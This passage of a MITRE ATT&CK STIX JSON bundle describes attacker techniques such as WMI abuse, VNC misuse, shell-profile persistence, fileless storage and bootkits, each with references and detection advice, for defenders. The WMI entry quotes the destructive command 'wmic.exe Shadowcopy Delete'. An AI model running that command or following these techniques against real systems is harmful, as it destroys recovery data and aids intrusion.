            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1560/001",
                    "external_id": "T1560.001"
                },
                {
                    "source_name": "WinRAR Homepage",
                    "description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.",
                    "url": "https://www.rarlab.com/"
                },
                {
                    "source_name": "WinZip Homepage",
                    "description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.",
                    "url": "https://www.winzip.com/win/en/"
                },
                {
                    "source_name": "7zip Homepage",
                    "description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.",
                    "url": "https://www.7-zip.org/"
                },
                {
                    "source_name": "diantz.exe_lolbas",
                    "description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Diantz/"
                },
                {
                    "source_name": "Wikipedia File Header Signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
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            "modified": "2025-04-15T21:51:23.078Z",
            "name": "Archive via Utility",
            "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. \n\nOn Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Mark Wee"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.3",
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                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Creation"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "created": "2020-02-11T18:28:44.950Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/005",
                    "external_id": "T1021.005"
                },
                {
                    "source_name": "Attacking VNC Servers PentestLab",
                    "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.",
                    "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/"
                },
                {
                    "source_name": "MacOS VNC software for Remote Desktop",
                    "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
                    "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
                },
                {
                    "source_name": "Havana authentication bug",
                    "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.",
                    "url": "https://lists.openstack.org/pipermail/openstack/2013-December/004138.html"
                },
                {
                    "source_name": "macOS root VNC login without authentication",
                    "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.",
                    "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"
                },
                {
                    "source_name": "Offensive Security VNC Authentication Check",
                    "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.",
                    "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/"
                },
                {
                    "source_name": "Gnome Remote Desktop grd-settings",
                    "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
                    "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207"
                },
                {
                    "source_name": "Gnome Remote Desktop gschema",
                    "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
                    "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in"
                },
                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
                },
                {
                    "source_name": "VNC Vulnerabilities",
                    "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/"
                },
                {
                    "source_name": "The Remote Framebuffer Protocol",
                    "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2"
                },
                {
                    "source_name": "VNC Authentication",
                    "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.",
                    "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication"
                },
                {
                    "source_name": "Hijacking VNC",
                    "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.",
                    "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:01.548Z",
            "name": "VNC",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)",
            "kill_chain_phases": [
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            "x_mitre_detection": "Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems <code>log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "Logon Session: Logon Session Creation",
                "Network Traffic: Network Connection Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "created": "2017-05-31T21:30:44.329Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1047",
                    "external_id": "T1047"
                },
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
                },
                {
                    "source_name": "Mandiant WMI",
                    "description": "Mandiant. (n.d.). Retrieved February 13, 2024.",
                    "url": "https://www.mandiant.com/resources/reports"
                },
                {
                    "source_name": "WMI 6",
                    "description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
                },
                {
                    "source_name": "WMI 1-3",
                    "description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN"
                },
                {
                    "source_name": "WMI 7,8",
                    "description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.",
                    "url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:01.648Z",
            "name": "Windows Management Instrumentation",
            "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \u201cdisabled by default\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)",
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                "@ionstorm",
                "Olaf Hartong, Falcon Force",
                "Tristan Madani"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_data_sources": [
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                "Process: Process Creation",
                "WMI: WMI Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1156",
                    "external_id": "T1156"
                },
                {
                    "source_name": "intezer-kaiji-malware",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
                    "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
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            "name": "Malicious Shell Modification",
            "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use <code>/etc/profile</code> when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc<code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.",
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            "x_mitre_contributors": [
                "Robert Wilson",
                "Joe Gervais",
                "Tony Lambert, Red Canary"
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            "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /ect/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Apple\u2019s Security Endpoint Framework using the ES_EVENT_TYPE_NOTIFY_WRITE function for monitoring these specific files. \n",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "created": "2017-05-31T21:31:25.060Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1113",
                    "external_id": "T1113"
                },
                {
                    "source_name": "CopyFromScreen .NET",
                    "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
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            "modified": "2025-04-15T23:03:14.254Z",
            "name": "Screen Capture",
            "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n",
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                    "phase_name": "collection"
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            "x_mitre_attack_spec_version": "3.2.0",
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            "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Command: Command Execution",
                "Process: OS API Execution"
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            "type": "attack-pattern",
            "id": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939",
            "created": "2023-03-23T19:55:25.546Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/011",
                    "external_id": "T1027.011"
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                {
                    "source_name": "Aquasec Muhstik Malware 2024",
                    "description": " Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.",
                    "url": "https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/"
                },
                {
                    "source_name": "Elastic Binary Executed from Shared Memory Directory",
                    "description": "Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.",
                    "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html"
                },
                {
                    "source_name": "SecureList Fileless",
                    "description": "Legezo, D. (2022, May 4). A new secret stash for \u201cfileless\u201d malware. Retrieved March 23, 2023.",
                    "url": "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/"
                },
                {
                    "source_name": "Microsoft Fileless",
                    "description": "Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.",
                    "url": "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats"
                },
                {
                    "source_name": "Sysdig Fileless Malware 23022",
                    "description": "Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.",
                    "url": "https://sysdig.com/blog/containers-read-only-fileless-malware/"
                },
                {
                    "source_name": "Akami Frog4Shell 2024",
                    "description": "Ori David. (2024, February 1). Frog4Shell \u2014 FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.",
                    "url": "https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell"
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            "name": "Fileless Storage",
            "description": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Christopher Peacock",
                "Denise Tan",
                "Mark Wee",
                "Simona David",
                "Xavier Rousseau",
                "Vito Alfano, Group-IB"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "WMI: WMI Creation",
                "Process: Process Creation"
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        },
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            "type": "attack-pattern",
            "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
            "created": "2017-05-31T21:30:54.661Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1067",
                    "external_id": "T1067"
                },
                {
                    "source_name": "MTrends 2016",
                    "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf"
                },
                {
                    "source_name": "Lau 2011",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
                    "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
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            "modified": "2025-04-25T15:15:04.909Z",
            "name": "Bootkit",
            "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
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            "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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            "type": "attack-pattern",
            "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
            "created": "2017-05-31T21:30:38.910Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1037",
                    "external_id": "T1037"
                },
                {
                    "source_name": "Anomali Rocke March 2019",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
                },
                {
                    "source_name": "Mandiant APT29 Eye Spy Email Nov 22",
                    "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
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            "modified": "2025-04-15T19:58:02.121Z",
            "name": "Boot or Logon Initialization Scripts",
            "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.  \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
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        {
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            "created": "2020-02-11T19:07:12.114Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "url": "https://attack.mitre.org/techniques/T1557",
                    "external_id": "T1557"
                },
                {
                    "source_name": "dns_changer_trojans",
                    "description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats"
                },
                {
                    "source_name": "volexity_0day_sophos_FW",
                    "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
                    "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
                },
                {
                    "source_name": "taxonomy_downgrade_att_tls",
                    "description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.",
                    "url": "https://arxiv.org/abs/1809.05681"
                },
                {
                    "source_name": "ad_blocker_with_miner",
                    "description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.",
                    "url": "https://securelist.com/ad-blocker-with-miner-included/101105/"
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                    "source_name": "Token tactics",
                    "description": "Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"
                },
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                    "source_name": "mitm_tls_downgrade_att",
                    "description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.",
                    "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
                },
                {
                    "source_name": "Rapid7 MiTM Basics",
                    "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.",
                    "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"
                },
                {
                    "source_name": "tlseminar_downgrade_att",
                    "description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.",
                    "url": "https://tlseminar.github.io/downgrade-attacks/"
                },
                {
                    "source_name": "ttint_rat",
                    "description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.",
                    "url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"
                }
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            "modified": "2025-04-15T19:58:02.209Z",
            "name": "Adversary-in-the-Middle",
